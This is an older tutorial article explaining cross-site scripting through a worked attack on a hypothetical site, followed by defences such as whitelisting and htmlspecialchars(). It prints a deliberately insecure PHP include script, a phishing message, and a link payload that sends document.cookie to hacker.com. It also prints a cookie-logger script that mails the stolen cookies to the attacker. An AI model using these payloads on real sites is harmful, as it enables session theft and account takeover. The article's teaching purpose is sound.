|
XSS in practice
XSS in practiceRoderick W. Lucas XSS in practice By Roderick W. Lucas Internet has become more and more important. Millions of dollars are invested in websites. Big businesses don’t work with simple HTML sites anymore; everything has to be dynamic these days. But by giving people the opportunity to insert data on a website, the chance of getting vulnerable gets bigger: Damage to your site will be unpreventable. Unless you are prepared and know the possible consequences… Although programmers spend months on securing web pages, there will always be people who find a way to do more on your site then you would like them to. Pages that have dynamic content such as input fields and variables that are shown in the URL, are even more vulnerable. These site can be exploited by a Cross Site Scripting attack, abbreviated; XSS. Cross Site Scripting flaws, are often caused because the website doesn’t check whether the inserted data, inside for example a search form, contains code. This code that is ran inside the script itself, can cause problems for the site and it’s members. Mostly JavaScript is used, but other forms of code are possible as well. There are many reasons why hackers try to find XSS flaws in a website, but the most common and most known one is cookie hijacking. A hacker can obtain a cookie from another user, through XSS. When he has this cookie, and installs the cookie on his own computer, and then visits the website, the website will recognize the hacker as the person he stole the cookie from. With Cross Site Scripting, it is also possible to exploit security holes inside a browser: this is called ‘browser exploitation’. If you have ever read about browser exploitation, you can realize surfing around on the web can be a very dangerous activity: malicious code can be installed locally on a computer and then ran. Now we know the possible consequences, it is time to start learning how the hackers find these security flaws inside a site. The two kinds of hackers (script kiddies and ‘real’ hackers), both have their own way of making advantage out of XSS. The script kiddies, search the web for a security flaw, for example in a forum such as Invision Power Board or phpBB. Then they go to www.google.com and search for sites that host the board they found an exploit for. Then they hack the board and take control over the site. The ‘real’ hackers, search for the holes their selves. They look for variables and input forms, they can use to run their malicious code. They work according to figure 1:
Figure 1. Hacking process First of all, the hacker chooses the site he wants to hack.T his must by a dynamic site. So it should be written in a language that supports this, like PHP, JSP, ASP, etc. His goal: he would like to get someone’s account on www.example.com. Suppose he looks at the URL, while visiting the news-page and sees the following: www.example.com/index.php?page=news.php The hacker remarks that there is a variable (?page=) that is declared in the URL. Perhaps the site runs the following script to navigate through pages. The webmaster of the site had very poor knowledge of securing his website. He used PHP to He created a script according to listing1. Listing 1. InsecurePageNavigator
################################# ######insecurePageNavigator######## ################################ php if (isset($_GET['page'])) { // checks whether $page is set or not print '<html>'; if (file_exists($_GET['page'])) { // checks if the requested page exists include($_GET['page']); //if it is, it includes the page } else { print 'Page '.$_GET['page'].' does not exists!'; // else it creates an error print 'html>'; } } else { // if $page is not set, it sends you to “homepage.php” header('Location: '.$_SERVER['PHP_SELF'].'?page=homepage.php'); } ?> The script is designed to see if a page exists and if it does, to send you there. When you visit the site for the first time, and the variable ‘page’ is not set, it sends you to the homepage. As you can see, the script doesn’t check the anywhere the input.
Since the hacker doesn’t see the code like we have it now, he has to depend on trial and error. Therefore, he comes up with the following code: . This is JavaScript, and it calls an popup windows with the text XSS. This little piece of code is very common in the world of XSS, it is the base of every XSS attack. Since the hacker wants this piece of code inside the script, he decides to define variable ‘page’ as . In the address bar you see: www.example.com/index.php?page= When he runs the code, he sees a popup like on screenshot 1.
Screenshot 1: XSS popup BINGO! He found a XSS hole in the website. He already set his goal, he wants to take control over several accounts on www.example.com. Therefore he comes up with the following plan: Cross Site Scripting attacks are never standard. Every attack is different; per attack, the hacker will have to look what he wants to achieve and what the possibilities of exploiting are. In this case, the attacker choose to mail several users by means of the Personal Message system that the website runs. He will draw their attention on an article he found very interesting. He will include the link to the article. Everything seems to be fine, but he modified the hyperlink to the article; instead of going to the article directly, it will first go through the domain of the hacker: www.hacker.com. There he has a script running that steals the cookie of the unfortunate visitor, and then sends them to the article. The process will look like Figure 2. Figure 2. Process of the attack
A ‘nice’ Personal Message He starts writing the code. First of all, we have the PM, it looks as follows (script snippet 2): Hey guys, I just found a news article here on the site, and I got really impressed! Because we are part of one big community, www.example.com, I thought it would be nice to share it with you all! Click here to see the article. Cheers!
Nothing makes this PM look suspiciously. But we know the hyperlink to the article is a ‘little’ different then most people might think. It looks as follows (Script snippet 3): Listing 3. What is behind the hyperlink
<a href=”http://www.example.com/index.php?page= <script> document.location.replace ('http://www.hacker.com/logger.php?q=' +document.cookie); script>” onmouseover=”window.status='http://www.example.com/index.php?page=articles.php&articleID=1545'; return true” onmouseout=”window.status=''; return true”>Click here to see the articlea> The email isn’t just a HTML-hyperlink, it also consists of some JavaScript and even a little CSS. When going over the hyperlink with your mouse, you will see the link to the article, but when you click the link, you are send to www.hacker.com/logger.php. Please note also a variable is included; variable ‘q’. This contains the cookie of the person who clicked the link. This is the script at www.hacker.com Script snippet 4: The hacker’s cookie logger
################################## #############logger.php############ ################################# php if (isset($_GET['q'])) { // The script checks if variable q is set @mail('me@hacker.com', // It composes an email to: me@hacker.com 'New victim!', // The subject: New Victim stripslashes($_GET['q'])); // With the function: stripslashes(), it deletes the superfluous slashes // The stripped variable q is set as the body of the email } header(“Location: http://www.example.com/index.php?page=articles.php&articleID=1545”); / It sends the user to the page with the article. ?> The script mails the obtained cookie to the hacker. Then it sends the one who clicked the cookie to the page where the article is located so they won’t notice too much. Now the attack can begin. After the attacker has obtained cookies, he can ‘fake’ them with the program Proxomitron. To get learn more about Proxomitron, you can visit: http://www.proxomitron.info/resources/index.html The attacker has, after having faked the cookie, complete control over the account of the person who followed the hyperlink. Now we know a little how hackers find a hole and exploit it, we can go to the part that interests us most; the protection. The navigation script shown before was obviously insecure, a much more secure would be this one (Listing 5): Listing 5: A secure script navigator
############################## #######securePageNavigator##### ############################# pages = array ('home', 'news', 'members'); //define the possible pages if (isset($_GET['page']) && in_array($_GET['page'], $pages)) //check whether the requested pages exists in the array { $contentPage = $_GET['page'] . '.php'; //add “.php” behind the page name } else { $contentPage = "home.php"; //if $page is not set or not correct, it will redirect you to “home.php” } include $contentPage; //include $contentPage into the website ?> The basic rule when protecting your site against XSS, is: Always check whether the data sends, is the sort of data you expect. So, for example; if you expect someone to enter his name in a field, you should check whether he didn’t send you numbers. The above secure navigation script, does practically the same. Before you can use it, you should define all the possible pages that can be included. In this case, you can only include the files: home.php, news.php and members.php. If you try to for example access articles.php, the site won’t let you to, it will send you to home.php. It may not be the most easy way, since you have to define all the pages, but it is one of the most secure ways. The best way to protect your website from XSS attacks, is to ensure that your application performs validation of all:
You should be very strict in what is, and what isn’t allowed. For example, if you want to be able to show user input, on a forum, chatbox, shoutbox, etc. then it is wise to encode specific characters to HTML. The characters will be encoded, and only show as output, they won’t be ran by the server. It may be wise to do this as well to do encode all the characters before you store them into a database. When programming a script, you should always filter the user input and variables with htmlspecialchars(). This converts characters like:
to HTML entities. Those entities are shown but not ran by the server or browser. Not only the webmaster should be alert on the safety of his members, also the members themselves should think twice before clicking a link. Hackers often encrypt the code they send to HEX. So then will be shown as: %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%2018%58%53%53%2019%29%3B%3C%2F%73%63%72%69%70%74 Hackers do this to hide the dangerous code. Users who know a little about scripting might know a link isn’t entirely save if they see it actually redirects you to another page. But by seeing just a long URL, most people don’t bother clicking it. The entire link will then be in your address bar: www.example.com/index.php?page=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%2018%58%53%53%2019%29%3B%3C%2F%73%63%72%69%70%74 So now you know about XSS, you are warned of the danger. A lot of people are not; many even don’t know it exitst. When you are a webmaster; use htmlspecialchars() and never trust the input of users. Always check whether the data you get, is the kind of data you expect. When you are a user, look out with following links on websites, emails and newsgroups: there are always people who are not afright of misusing other’s naivity to get beter themselves. You have read the dangers, you know the consequences, you are warned: Secure your website(s) and don’t trust emails or PM, that contain hyperlinks, of unknown people. Real life examples There are thousants of XSS vulnabilites that have resulted into great problems. But I will only give three example of what I think are mayor hacks in the history of Cross Site Scripting. A lack was found in www.ilovemessenger.msn.com. By sending someone an email with malicious code, the attacker was able to steal the Microsoft .Net Passport session cookie. This is done just as in the example with the PM system. More information: http://www.net-force.nl/files/articles/hotmail_xss/ This site gives an entire tutorial on how the lack could have been exploited. PayPal also had to do with some securitiy problems. Through XSS, the hackers where able to obtain personal information of PayPal users and even creditcard information. http://news.netcraft.com/archives/2006/06/16/paypal_security_flaw_allows_identity_theft.html And www.myspace.com, the popular online friends community site, also has been a victim of Cross Site Scripting. A guy installed a script (http://namb.la/popular/tech.html) on his space to make everyone who visited his page a ‘friend’. Everyone who visited his profile, got the worm on their space too, so the worm spread extremly fast. Check out the results: http://www.bindshell.net/papers/xssv/myspace Sources The Open Web Application Security Project (OWASP) A clear description of Cross Site Scripting. http://www.owasp.org/index.php/XSS Milw0rm This is a PDF file that is a complete description of XSS and how hackers deal with it. Milw0rm A video of a live session hijack. http://milw0rm.com/video/watch.php?id=30 CGISECURITY A FAQ on Cross Site Scripting http://www.cgisecurity.com/articles/xss-faq.shtml
|
|
